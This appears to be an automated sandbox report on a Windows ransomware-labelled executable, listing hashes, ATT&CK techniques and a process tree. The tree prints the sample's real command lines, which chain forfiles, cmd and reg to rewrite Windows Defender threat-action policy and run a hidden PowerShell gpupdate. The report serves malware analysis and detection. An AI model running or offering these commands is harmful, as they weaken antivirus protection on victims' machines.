34d1686143c6c81e76ec46086f81c65ccd17a46ca279da4c64691dd69af86049

Analysis

max time kernel
97s
max time network
98s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/09/2024, 11:23

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General

Target

2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe
Size

6.7MB
MD5

0041e8bf2ba98bc2aca9852d5667e244
SHA1

5b9ae5d856e7fd5cb08538aed4360a933c46114e
SHA256

34d1686143c6c81e76ec46086f81c65ccd17a46ca279da4c64691dd69af86049
SHA512

8ab9d46a9d4e05ad5a823cb74e3f336d6bdc665aa443a62bd71ecb98603d9568cb3267893d2817fccd93719afa707ecaf1fcb162fcd501753a05bf1f7dbdfc7e
SSDEEP

196608:/FC364Cf8WLJsckCEe6pwCmlZohTFLROTW8kD:nEWdscxPCXTFNOoD

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
8	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe

Indirect Command Execution 1 TTPs 5 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
4432	forfiles.exe
4820	forfiles.exe
2004	forfiles.exe
400	forfiles.exe
4556	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4452	2208	WerFault.exe	82

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gpupdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
8	powershell.exe
8	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	8	powershell.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 2208 wrote to memory of 1200	2208	2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe	86
PID 2208 wrote to memory of 1200	2208	2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe	86
PID 2208 wrote to memory of 1200	2208	2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe	86
PID 1200 wrote to memory of 2004	1200	cmd.exe	88
PID 1200 wrote to memory of 2004	1200	cmd.exe	88
PID 1200 wrote to memory of 2004	1200	cmd.exe	88
PID 2004 wrote to memory of 4384	2004	forfiles.exe	89
PID 2004 wrote to memory of 4384	2004	forfiles.exe	89
PID 2004 wrote to memory of 4384	2004	forfiles.exe	89
PID 4384 wrote to memory of 4076	4384	cmd.exe	90
PID 4384 wrote to memory of 4076	4384	cmd.exe	90
PID 4384 wrote to memory of 4076	4384	cmd.exe	90
PID 1200 wrote to memory of 400	1200	cmd.exe	91
PID 1200 wrote to memory of 400	1200	cmd.exe	91
PID 1200 wrote to memory of 400	1200	cmd.exe	91
PID 400 wrote to memory of 1716	400	forfiles.exe	92
PID 400 wrote to memory of 1716	400	forfiles.exe	92
PID 400 wrote to memory of 1716	400	forfiles.exe	92
PID 1716 wrote to memory of 2636	1716	cmd.exe	93
PID 1716 wrote to memory of 2636	1716	cmd.exe	93
PID 1716 wrote to memory of 2636	1716	cmd.exe	93
PID 1200 wrote to memory of 4556	1200	cmd.exe	94
PID 1200 wrote to memory of 4556	1200	cmd.exe	94
PID 1200 wrote to memory of 4556	1200	cmd.exe	94
PID 4556 wrote to memory of 1560	4556	forfiles.exe	95
PID 4556 wrote to memory of 1560	4556	forfiles.exe	95
PID 4556 wrote to memory of 1560	4556	forfiles.exe	95
PID 1560 wrote to memory of 396	1560	cmd.exe	96
PID 1560 wrote to memory of 396	1560	cmd.exe	96
PID 1560 wrote to memory of 396	1560	cmd.exe	96
PID 1200 wrote to memory of 4432	1200	cmd.exe	97
PID 1200 wrote to memory of 4432	1200	cmd.exe	97
PID 1200 wrote to memory of 4432	1200	cmd.exe	97
PID 4432 wrote to memory of 2308	4432	forfiles.exe	98
PID 4432 wrote to memory of 2308	4432	forfiles.exe	98
PID 4432 wrote to memory of 2308	4432	forfiles.exe	98
PID 2308 wrote to memory of 2840	2308	cmd.exe	99
PID 2308 wrote to memory of 2840	2308	cmd.exe	99
PID 2308 wrote to memory of 2840	2308	cmd.exe	99
PID 1200 wrote to memory of 4820	1200	cmd.exe	100
PID 1200 wrote to memory of 4820	1200	cmd.exe	100
PID 1200 wrote to memory of 4820	1200	cmd.exe	100
PID 4820 wrote to memory of 832	4820	forfiles.exe	101
PID 4820 wrote to memory of 832	4820	forfiles.exe	101
PID 4820 wrote to memory of 832	4820	forfiles.exe	101
PID 832 wrote to memory of 8	832	cmd.exe	102
PID 832 wrote to memory of 8	832	cmd.exe	102
PID 832 wrote to memory of 8	832	cmd.exe	102
PID 8 wrote to memory of 3704	8	powershell.exe	105
PID 8 wrote to memory of 3704	8	powershell.exe	105
PID 8 wrote to memory of 3704	8	powershell.exe	105

C:\Users\Admin\AppData\Local\Temp\2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-09-02_0041e8bf2ba98bc2aca9852d5667e244_bkransomware.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4384
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4076
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:400
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1716
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2636
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4556
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1560
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:396
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4432
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2308
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2840
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4820
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:832
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:8
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3704
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2208 -s 648
  2⤵
  - Program crash
  PID:4452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2208 -ip 2208
1⤵
PID:3372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y0wpz5v4.dc1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/8-16-0x00000000060E0000-0x00000000060FE000-memory.dmp

Filesize
120KB

Download
memory/8-19-0x00000000065E0000-0x00000000065FA000-memory.dmp

Filesize
104KB

Download
memory/8-3-0x0000000005870000-0x0000000005892000-memory.dmp

Filesize
136KB

Download
memory/8-5-0x0000000005A80000-0x0000000005AE6000-memory.dmp

Filesize
408KB

Download
memory/8-4-0x0000000005A10000-0x0000000005A76000-memory.dmp

Filesize
408KB

Download
memory/8-1-0x00000000027E0000-0x0000000002816000-memory.dmp

Filesize
216KB

Download
memory/8-2-0x0000000005210000-0x0000000005838000-memory.dmp

Filesize
6.2MB

Download
memory/8-17-0x0000000006130000-0x000000000617C000-memory.dmp

Filesize
304KB

Download
memory/8-15-0x0000000005AF0000-0x0000000005E44000-memory.dmp

Filesize
3.3MB

Download
memory/8-18-0x0000000006650000-0x00000000066E6000-memory.dmp

Filesize
600KB

Download
memory/8-21-0x0000000007680000-0x0000000007C24000-memory.dmp

Filesize
5.6MB

Download
memory/8-20-0x00000000070A0000-0x00000000070C2000-memory.dmp

Filesize
136KB

Download
memory/2208-0-0x0000000000750000-0x0000000000E05000-memory.dmp

Filesize
6.7MB

Download
memory/2208-24-0x0000000010000000-0x00000000105D5000-memory.dmp

Filesize
5.8MB

Download
memory/2208-28-0x0000000000750000-0x0000000000E05000-memory.dmp

Filesize
6.7MB

Download